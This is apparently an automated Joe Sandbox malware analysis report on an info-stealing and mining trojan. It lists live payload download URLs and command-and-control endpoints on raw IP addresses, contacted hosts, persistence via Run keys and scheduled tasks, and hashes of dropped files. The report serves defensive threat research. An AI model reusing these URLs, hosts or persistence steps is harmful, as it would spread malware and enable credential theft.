http://147.45.44.104/revada/66d98aa7bea3e_newPrime.exe#realC:	RegAsm.exe, 00000002.00000002.1953387241.0000000003CE0000.00000004.00000020.00020000.00000000.sdmp	false
http://147.45.44.104/revada/66c6fcb30b9dd_123p.exeP	RegAsm.exe, 00000002.00000002.1950398912.000000000115C000.00000004.00000020.00020000.00000000.sdmp	false
http://147.45.44.104/yuop/66d59ef9d4404_premium.exe#upusC:	RegAsm.exe, 00000002.00000002.1953387241.0000000003CE0000.00000004.00000020.00020000.00000000.sdmp	false
https://aka.ms/msal-net-b2c	gobEmOm5sr.exe, 00000000.00000000.1647082311.0000000000842000.00000002.00000001.01000000.00000003.sdmp	false
http://147.45.44.104/malesa/66d1b7f7f3765_Front.exeC:	RegAsm.exe, 00000002.00000002.1953387241.0000000003CE0000.00000004.00000020.00020000.00000000.sdmp	false
http://185.143.223.148:80/api/twofish.php	RegAsm.exe, 00000002.00000002.1954978502.0000000004961000.00000004.00000020.00020000.00000000.sdmp	false
http://www.innosetup.com/	PsIhedmEA44FNRssEU8V9OlH.exe, 00000007.00000003.1938610261.0000000002360000.00000004.00001000.00020000.00000000.sdmp	false
http://147.45.44.104/yuop/66d9de22f231f_crypted.exe#1B	RegAsm.exe, 00000002.00000002.1953387241.0000000003D0F000.00000004.00000020.00020000.00000000.sdmp	false
https://api.ip.sb/ip	2Umx78uafM0WA03fzJyYYhBa.exe, 0000000E.00000002.2120842089.00000000043E5000.00000004.00000800.00020000.00000000.sdmp	false
https://api.datamarket.azure.com/data.ashx/	REaoHTwA9AqN_cDvubi9mxZt.exe, 00000006.00000002.2152537664.0000000003D79000.00000004.00000800.00020000.00000000.sdmp	false
https://aka.ms/msal-net-3x-cache-breaking-change)	gobEmOm5sr.exe, 00000000.00000000.1647082311.0000000000842000.00000002.00000001.01000000.00000003.sdmp	false
https://github.com/dotnet/wpf	yh8OwfLgsaGOEy8sLU5UpJIK.exe, 00000008.00000000.1922223189.00000000007C2000.00000002.00000001.01000000.0000000A.sdmp, 8LEi0YA5qqlYpHd7zimCU8lz.exe, 00000009.00000000.1923341342.0000000000BE2000.00000002.00000001.01000000.0000000B.sdmp	false
http://147.45.44.104/yuop/66d897ad1752a_File.exe#xinryptolC	RegAsm.exe, 00000002.00000002.1950398912.000000000115C000.00000004.00000020.00020000.00000000.sdmp	false
https://aka.ms/msal-brokers	gobEmOm5sr.exe, 00000000.00000000.1647082311.0000000000842000.00000002.00000001.01000000.00000003.sdmp	false
http://147.45.44.104/malesa/66d1b7f7f3765_Front.exellg	RegAsm.exe, 00000002.00000002.1950398912.000000000115C000.00000004.00000020.00020000.00000000.sdmp	false
http://147.45.44.104/revada/66c6fcb30b9dd_123p.exei.dll	RegAsm.exe, 00000002.00000002.1950398912.000000000115C000.00000004.00000020.00020000.00000000.sdmp	false
http://147.45.44.104/revada/66d98aa7bea3e_newPrime.exe#reall	RegAsm.exe, 00000002.00000002.1950398912.000000000115C000.00000004.00000020.00020000.00000000.sdmp	false
http://147.45.44.104/yuop/66d897ad1752a_File.exe#xinC:	RegAsm.exe, 00000002.00000002.1953387241.0000000003CE0000.00000004.00000020.00020000.00000000.sdmp	false
https://aka.ms/adal-iwa	gobEmOm5sr.exe, 00000000.00000000.1647082311.0000000000842000.00000002.00000001.01000000.00000003.sdmp	false
http://176.113.115.33/ssl/install.exeC:	RegAsm.exe, 00000002.00000002.1950398912.0000000001188000.00000004.00000020.00020000.00000000.sdmp	false
http://147.45.44.104/revada/66c6fcb30b9dd_123p.exe1	RegAsm.exe, 00000002.00000002.1953387241.0000000003D0F000.00000004.00000020.00020000.00000000.sdmp	false
https://iplogger.org/0	RegAsm.exe, 00000002.00000002.1953387241.0000000003D0F000.00000004.00000020.00020000.00000000.sdmp	false
https://datamarket.azure.com/embedded/consent?client_id=	REaoHTwA9AqN_cDvubi9mxZt.exe, 00000006.00000002.2152537664.0000000003D79000.00000004.00000800.00020000.00000000.sdmp	false
http://147.45.44.104/revada/66d98aa7bea3e_newPrime.exe#realw	RegAsm.exe, 00000002.00000002.1953387241.0000000003D0F000.00000004.00000020.00020000.00000000.sdmp	false
http://176.113.115.33/ssl/install.exezAp	RegAsm.exe, 00000002.00000002.1953387241.0000000003D0F000.00000004.00000020.00020000.00000000.sdmp	false
http://46.29.235.52/vjgg.exe#spacez=	RegAsm.exe, 00000002.00000002.1953387241.0000000003CF9000.00000004.00000020.00020000.00000000.sdmp	false
https://aka.ms/msal-net-3-breaking-changesy	gobEmOm5sr.exe, 00000000.00000000.1647082311.0000000000842000.00000002.00000001.01000000.00000003.sdmp	false
http://www.winimage.com/zLibDllm_object	REaoHTwA9AqN_cDvubi9mxZt.exe, 00000006.00000002.2152537664.0000000003D79000.00000004.00000800.00020000.00000000.sdmp	false
https://ipinfo.io/	RegAsm.exe, 00000002.00000002.1950398912.0000000001117000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000002.00000002.1950398912.000000000115C000.00000004.00000020.00020000.00000000.sdmp	false
http://185.143.223.148:80/api/crazyfish.php	RegAsm.exe, 00000002.00000002.1950398912.00000000010ED000.00000004.00000020.00020000.00000000.sdmp	false
http://185.143.223.148:80/api/twofish.php_C	RegAsm.exe, 00000002.00000002.1950398912.000000000115C000.00000004.00000020.00020000.00000000.sdmp	false
https://datamarket.azure.com/embedded/resultrhttps://datamarket.accesscontrol.windows.net/v2/OAuth2-	REaoHTwA9AqN_cDvubi9mxZt.exe, 00000006.00000002.2152537664.0000000003D79000.00000004.00000800.00020000.00000000.sdmp	false
https://iplogger.org:443/1nhuM4.jsoft	RegAsm.exe, 00000002.00000002.1954978502.0000000004961000.00000004.00000020.00020000.00000000.sdmp	false
https://www.newtonsoft.com/jsonschema	gobEmOm5sr.exe, 00000000.00000000.1647082311.0000000000842000.00000002.00000001.01000000.00000003.sdmp	false
http://147.45.44.104/malesa/66d1b7f7f3765_Front.exerZ	RegAsm.exe, 00000002.00000002.1953387241.0000000003D0F000.00000004.00000020.00020000.00000000.sdmp	false
http://147.45.44.104/revada/66c6fcb30b9dd_123p.exeC:	RegAsm.exe, 00000002.00000002.1950398912.0000000001188000.00000004.00000020.00020000.00000000.sdmp	false
http://147.45.44.104/yuop/66d59ef9d4404_premium.exe#upusG	RegAsm.exe, 00000002.00000002.1953387241.0000000003D0F000.00000004.00000020.00020000.00000000.sdmp	false
http://185.143.223.148:80/api/twofish.phpB1CAD8C-2DAB-11D2-B604-00104B703EFD	RegAsm.exe, 00000002.00000002.1950398912.0000000001179000.00000004.00000020.00020000.00000000.sdmp	false
https://ipinfo.io/https://ipgeolocation.io/::	gobEmOm5sr.exe, 00000000.00000002.1654904203.0000000004EF5000.00000004.00000800.00020000.00000000.sdmp, gobEmOm5sr.exe, 00000000.00000002.1654904203.0000000004C65000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 00000002.00000002.1947694025.000000000056B000.00000040.00000400.00020000.00000000.sdmp	false
http://www.softwareok.de/?seite=Microsoft/MagicMouseTrails	gobEmOm5sr.exe, 00000000.00000000.1648178201.0000000000EDE000.00000002.00000001.01000000.00000003.sdmp	false
https://datamarket.azure.com/embedded/catalog?client_id=	REaoHTwA9AqN_cDvubi9mxZt.exe, 00000006.00000002.2152537664.0000000003D79000.00000004.00000800.00020000.00000000.sdmp	false
http://31.41.244.9/nokia/lamp.exe0	RegAsm.exe, 00000002.00000002.1953387241.0000000003CE0000.00000004.00000020.00020000.00000000.sdmp	false
http://www.softwareok.com/?seite=Microsoft/MagicMouseTrails/History	gobEmOm5sr.exe, 00000000.00000000.1648178201.0000000000EDE000.00000002.00000001.01000000.00000003.sdmp	false
https://aka.ms/adal_token_cache_serializationdFailed	gobEmOm5sr.exe, 00000000.00000000.1647082311.0000000000842000.00000002.00000001.01000000.00000003.sdmp	false
https://ipinfo.io:443/widget/demo/8.46.123.33	RegAsm.exe, 00000002.00000002.1950398912.0000000001106000.00000004.00000020.00020000.00000000.sdmp	false
http://www.softwareok.com/?seite=Microsoft/MagicMouseTrails	gobEmOm5sr.exe, 00000000.00000000.1648178201.0000000000EDE000.00000002.00000001.01000000.00000003.sdmp	false
http://240902180529931.tyr.zont16.com/f/fikbam0902931.exeZA	RegAsm.exe, 00000002.00000002.1950398912.000000000115C000.00000004.00000020.00020000.00000000.sdmp	false
https://file-link-iota.vercel.app/downloadC:	RegAsm.exe, 00000002.00000002.1950398912.0000000001188000.00000004.00000020.00020000.00000000.sdmp	true
https://t.me/fneogrnfeowkhttps://t.me/edm0di11ihttps://steamcommunity.com/profiles/76561199768374681	7wpHB_IZvVwIDf0EgO_TfPH6.exe, 0000000B.00000002.2146809633.00000000032B5000.00000004.00000800.00020000.00000000.sdmp	false
http://46.29.235.52/vjgg.exe#spaceQZ~	RegAsm.exe, 00000002.00000002.1950398912.0000000001117000.00000004.00000020.00020000.00000000.sdmp	false
http://185.143.223.148/	RegAsm.exe, 00000002.00000002.1950398912.00000000010D8000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000002.00000002.1950398912.000000000115C000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000002.00000002.1953387241.0000000003D0F000.00000004.00000020.00020000.00000000.sdmp	false

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
46.8.231.109	unknown	Russian Federation	28917	FIORD-ASIP-transitoperatorinRussiaUkraineandBaltics	true
185.215.113.100	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
176.113.115.33	unknown	Russian Federation	49505	SELECTELRU	false
147.45.44.104	unknown	Russian Federation	2895	FREE-NET-ASFREEnetEU	false
194.163.35.141	unknown	Germany	6659	NEXINTO-DE	true
104.26.2.46	iplogger.org	United States	13335	CLOUDFLARENETUS	false
46.29.235.52	unknown	Russian Federation	34804	EUROTELECOM-ASRU	false
31.41.244.9	unknown	Russian Federation	61974	AEROEXPRESS-ASRU	false
185.196.8.214	unknown	Switzerland	34888	SIMPLECARRER2IT	true
149.154.167.99	t.me	United Kingdom	62041	TELEGRAMRU	true
147.45.126.10	unknown	Russian Federation	2895	FREE-NET-ASFREEnetEU	true
173.231.16.77	api64.ipify.org	United States	18450	WEBNXUS	false
77.105.164.24	unknown	Russian Federation	43176	ICOMF-ASRU	true
147.45.47.36	unknown	Russian Federation	2895	FREE-NET-ASFREEnetEU	true
104.21.10.172	condedqpwqm.shop	United States	13335	CLOUDFLARENETUS	true
76.76.21.142	file-link-iota.vercel.app	United States	16509	AMAZON-02US	false
34.117.59.81	ipinfo.io	United States	139070	GOOGLE-AS-APGoogleAsiaPacificPteLtdSG	false
176.111.174.109	unknown	Russian Federation	201305	WILWAWPL	false
158.69.225.124	youtransfer.net	Canada	16276	OVHFR	false
141.98.234.31	unknown	Russian Federation	41011	CH-NET-ASRO	false
188.114.96.3	stamppreewntnq.shop	European Union	13335	CLOUDFLARENETUS	true
185.143.223.148	unknown	Russian Federation	204718	INFORMTECH-ASRU	true
89.105.201.183	unknown	Netherlands	24875	NOVOSERVE-ASNL	false

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1505384
Start date and time:	2024-09-06 08:16:07 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 13m 25s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	51
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	gobEmOm5sr.exe renamed because original name is a hash value
Original Sample Name:	1F389EF6DAC9971FEF4BAD14B3514C26.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.mine.winEXE@95/138@13/24
EGA Information:	Successful, ratio: 69.2%
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, Conhost.exe, dllhost.exe, SIHClient.exe, conhost.exe
Excluded IPs from analysis (whitelisted): 184.28.90.27, 20.42.65.92
Excluded domains from analysis (whitelisted): fs.microsoft.com, slscr.update.microsoft.com, ctldl.windowsupdate.com, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, fe3cr.delivery.mp.microsoft.com, onedsblobprdeus17.eastus.cloudapp.azure.com, ocsp.digicert.com, login.live.com, e16604.g.akamaiedge.net, blobcollector.events.data.trafficmanager.net, umwatson.events.data.microsoft.com, prod.fs.microsoft.com.akadns.net
Execution Graph export aborted for target 8LEi0YA5qqlYpHd7zimCU8lz.exe, PID 8032 because it is empty
Execution Graph export aborted for target JJdIaooFQpkpcWNUCJ71mJDj.exe, PID 8040 because there are no executed function
Execution Graph export aborted for target OvoRF_A3QBH3keQBtcOqN7Fa.exe, PID 8088 because there are no executed function
Execution Graph export aborted for target yh8OwfLgsaGOEy8sLU5UpJIK.exe, PID 8024 because it is empty
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing disassembly code.
Report size exceeded maximum capacity and may have missing network information.
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryAttributesFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtReadVirtualMemory calls found.
Report size getting too big, too many NtSetInformationFile calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
02:16:55	API Interceptor	1x Sleep call for process: gobEmOm5sr.exe modified
02:17:30	API Interceptor	2x Sleep call for process: svchost.exe modified
02:17:41	API Interceptor	433x Sleep call for process: lenTsqDIajevXTuJaJ03oKGb.exe modified
02:17:44	API Interceptor	2x Sleep call for process: BitLockerToGo.exe modified
02:17:52	API Interceptor	2x Sleep call for process: WerFault.exe modified
02:17:52	API Interceptor	1x Sleep call for process: wvASxpczH5zLyfxXnILhiH8_.exe modified
02:17:53	API Interceptor	104x Sleep call for process: RegAsm.exe modified
02:18:12	API Interceptor	49x Sleep call for process: newstar.exe modified
07:17:38	Task Scheduler	Run new task: jewkkwnf HR path: C:\ProgramData\jewkkwnf\jewkkwnf.exe
07:17:38	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run ExtreamFanV6 C:\Users\user\AppData\Local\ExtreamFanV6\ExtreamFanV6.exe
07:17:41	Task Scheduler	Run new task: jewkkwnf LG path: C:\ProgramData\jewkkwnf\jewkkwnf.exe
07:17:49	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run ExtreamFanV6 C:\Users\user\AppData\Local\ExtreamFanV6\ExtreamFanV6.exe
07:18:00	Autostart	Run: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\PowerExpertNNT.lnk

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
t.me	file.exe	Get hash	malicious	LummaC, Vidar	Browse	149.154.167.99
	http://icit.fr/tsrw	Get hash	malicious	Unknown	Browse	50.6.152.246
	https://fdh.lil.mybluehost.me/login/	Get hash	malicious	Unknown	Browse	50.6.152.246
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	149.154.167.99
	file.exe	Get hash	malicious	Vidar	Browse	149.154.167.99
	http://croxyproxys.com	Get hash	malicious	Unknown	Browse	149.154.167.99
	1d0000.MSBuild.exe	Get hash	malicious	Xehook Stealer	Browse	149.154.167.99
	https://telegra.ph/Payroll-Department-08-30	Get hash	malicious	HTMLPhisher	Browse	149.154.167.99
	https://wzi.xwi.mybluehost.me/servizi/brt/	Get hash	malicious	Unknown	Browse	162.241.217.102
	https://xop.cjm.mybluehost.me/epubs/2022/AFI/shelves/22Q2-AFI-Motion-Shelf/	Get hash	malicious	Phisher	Browse	66.235.200.146
ipinfo.io	odpmlgwvdr.exe	Get hash	malicious	Unknown	Browse	34.117.59.81
	odpmlgwvdr.exe	Get hash	malicious	Unknown	Browse	34.117.59.81
	FileApp.exe	Get hash	malicious	LummaC, PureLog Stealer, RedLine, Stealc, Vidar, Xmrig, zgRAT	Browse	34.117.59.81
	uxMCGUELJd.exe	Get hash	malicious	Zorab	Browse	34.117.59.81
	uxMCGUELJd.exe	Get hash	malicious	Zorab	Browse	34.117.59.81
	CODX.exe	Get hash	malicious	Unknown	Browse	34.117.59.81
	CODX.exe	Get hash	malicious	Unknown	Browse	34.117.59.81
	http://telegramn.work/web	Get hash	malicious	Telegram Phisher	Browse	34.117.59.81
	https://pub-6ca7156e13e64108869849277ba9b68e.r2.dev/index.html	Get hash	malicious	Unknown	Browse	34.117.59.81
	http://telegerasm.club/web	Get hash	malicious	Telegram Phisher	Browse	34.117.59.81
iplogger.org	FileApp.exe	Get hash	malicious	LummaC, PureLog Stealer, RedLine, Stealc, Vidar, Xmrig, zgRAT	Browse	104.26.2.46
	kqS23MOytx.exe	Get hash	malicious	Socks5Systemz, Stealc, Vidar, XWorm, Xmrig	Browse	104.26.3.46
	abc0f6a2936703cd32608e7a0c06cd7b1da2f012ad7eb.exe	Get hash	malicious	CryptOne, Nymaim, PrivateLoader, RedLine, SmokeLoader, onlyLogger	Browse	172.67.132.113
	ExeFile (331).exe	Get hash	malicious	Unknown	Browse	172.67.132.113
	ExeFile (71).exe	Get hash	malicious	Unknown	Browse	172.67.132.113
	ExeFile (206).exe	Get hash	malicious	RMSRemoteAdmin, Xmrig	Browse	104.21.4.208
	cheat_roblox.exe	Get hash	malicious	XWorm	Browse	172.67.132.113
	roblox cheat.exe	Get hash	malicious	XWorm	Browse	104.21.4.208
	cheat_roblox.exe	Get hash	malicious	XWorm	Browse	104.21.4.208
	roblox cheat.exe	Get hash	malicious	XWorm	Browse	172.67.132.113
file-link-iota.vercel.app	FileApp.exe	Get hash	malicious	LummaC, PureLog Stealer, RedLine, Stealc, Vidar, Xmrig, zgRAT	Browse	76.76.21.98
	gHPYUEh253.exe	Get hash	malicious	Djvu, Neoreklami, Stealc, Vidar, Xmrig	Browse	76.76.21.123
	kqS23MOytx.exe	Get hash	malicious	Socks5Systemz, Stealc, Vidar, XWorm, Xmrig	Browse	76.76.21.241
youtransfer.net	FileApp.exe	Get hash	malicious	LummaC, PureLog Stealer, RedLine, Stealc, Vidar, Xmrig, zgRAT	Browse	158.69.225.124

Process:	C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 1, database pages 24, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	49152
Entropy (8bit):	0.8180424350137764
Encrypted:	false
SSDEEP:	96:uRMKLyeymwxCn8MZyFlSynlbiXyKwt8hG:uRkxGOXnlbibhG
MD5:	349E6EB110E34A08924D92F6B334801D
SHA1:	BDFB289DAFF51890CC71697B6322AA4B35EC9169
SHA-256:	C9FD7BE4579E4AA942E8C2B44AB10115FA6C2FE6AFD0C584865413D9D53F3B2A
SHA-512:	2A635B815A5E117EA181EE79305EE1BAF591459427ACC5210D8C6C7E447BE3513EAD871C605EB3D32E4AB4111B2A335F26520D0EF8C1245A4AF44E1FAEC44574
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\AFHDBGHJKFIDHJJJEBKEBGIEBG

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	SQLite 3.x database, user version 12, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 3, database pages 3, cookie 0x1, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	98304
Entropy (8bit):	0.08235737944063153
Encrypted:	false
SSDEEP:	12:DQAsfWk73Fmdmc/OPVJXfPNn43etRRfYR5O8atLqxeYaNcDakMG/lO:DQAsff32mNVpP965Ra8KN0MG/lO
MD5:	369B6DD66F1CAD49D0952C40FEB9AD41
SHA1:	D05B2DE29433FB113EC4C558FF33087ED7481DD4
SHA-256:	14150D582B5321D91BDE0841066312AB3E6673CA51C982922BC293B82527220D
SHA-512:	771054845B27274054B6C73776204C235C46E0C742ECF3E2D9B650772BA5D259C8867B2FA92C3A9413D3E1AD35589D8431AC683DF84A53E13CDE361789045928
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ ..........................................................................j......}..}...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\AKJDGIEHCAEHIEBFBKKKKFIDBK

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 11, database pages 7, cookie 0x3, schema 4, UTF-8, version-valid-for 11
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	2.5793180405395284
Encrypted:	false
SSDEEP:	96:/xealJiylsMjLslk5nYPphZEhcR2hO2mOeVgN8tmKqWkh3qzRk4PeOhZ3hcR1hOI:/xGZR8wbtxq5uWRHKloIN7YItnb6Ggz
MD5:	41EA9A4112F057AE6BA17E2838AEAC26
SHA1:	F2B389103BFD1A1A050C4857A995B09FEAFE8903
SHA-256:	CE84656EAEFC842355D668E7141F84383D3A0C819AE01B26A04F9021EF0AC9DB
SHA-512:	29E848AD16D458F81D8C4F4E288094B4CFC103AD99B4511ED1A4846542F9128736A87AAC5F4BFFBEFE7DF99A05EB230911EDCE99FEE3877DEC130C2781962103
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\BFCFBKKKFHCFHJKFIIEH

Download File

Process:	C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\BGDAAKJJ

Download File

Process:	C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\DB Light Pack Engine 9.6.45\DB Light Pack Engine 9.6.45.exe

Download File

Process:	C:\Users\user\AppData\Local\NewStar\newstar.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2257728
Entropy (8bit):	6.698633075276681
Encrypted:	false
SSDEEP:	49152:tfI2EJDf6TVt0idwFPYIuJIVjqNy1Pj2/4h8H:tTEJ2TVrdMPluJsqNuPj2X
MD5:	B786E157A1AA82F3B27FA1A61B13C39B
SHA1:	A1FD5AA5B8FA36E3FAC1F8D845E071F4A54869AB
SHA-256:	35BB4ECE6CACE13225D48AE1A26FE1C353376432A3E998EB4C21E77A4B3E036D
SHA-512:	65523802C0E3F1FF9139682087507E7078B0C22115E6DB2E57B940E4D9BCB3850EFB22ADDDFCDCA9411D972969B14F58CC77DE1DA2F38D69061E5EFD20B64734
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....OT_.........."................. .............@..........................."..........................................................`...........................................................................................................text............................... ..`.yhead8.` .......0..................@..@.data...WT... ...0... ..............@....rsrc....p.......p...P..............@..@.zhead8.........@...................a...........................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\EBAEBFIIECBG\KKKJKE

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 11, database pages 7, cookie 0x3, schema 4, UTF-8, version-valid-for 11
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	2.5793180405395284
Encrypted:	false
SSDEEP:	96:/xealJiylsMjLslk5nYPphZEhcR2hO2mOeVgN8tmKqWkh3qzRk4PeOhZ3hcR1hOI:/xGZR8wbtxq5uWRHKloIN7YItnb6Ggz
MD5:	41EA9A4112F057AE6BA17E2838AEAC26
SHA1:	F2B389103BFD1A1A050C4857A995B09FEAFE8903
SHA-256:	CE84656EAEFC842355D668E7141F84383D3A0C819AE01B26A04F9021EF0AC9DB
SHA-512:	29E848AD16D458F81D8C4F4E288094B4CFC103AD99B4511ED1A4846542F9128736A87AAC5F4BFFBEFE7DF99A05EB230911EDCE99FEE3877DEC130C2781962103
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\EHDHDHIE

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\EHJDHJKFIECAAKFIJJKJ

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	ASCII text, with very long lines (1809), with CRLF line terminators
Category:	dropped
Size (bytes):	9571
Entropy (8bit):	5.536643647658967
Encrypted:	false
SSDEEP:	192:qnaRt+YbBp6ihj4qyaaX86KKkfGNBw8DJSl:yegqumcwQ0
MD5:	5D8E5D85E880FB2D153275FCBE9DA6E5
SHA1:	72332A8A92B77A8B1E3AA00893D73FC2704B0D13
SHA-256:	50490DC0D0A953FA7D5E06105FE9676CDB9B49C399688068541B19DD911B90F9
SHA-512:	57441B4CCBA58F557E08AAA0918D1F9AC36D0AF6F6EB3D3C561DA7953ED156E89857FFB829305F65D220AE1075BC825F131D732B589B5844C82CA90B53AAF4EE
Malicious:	false
Reputation:	unknown
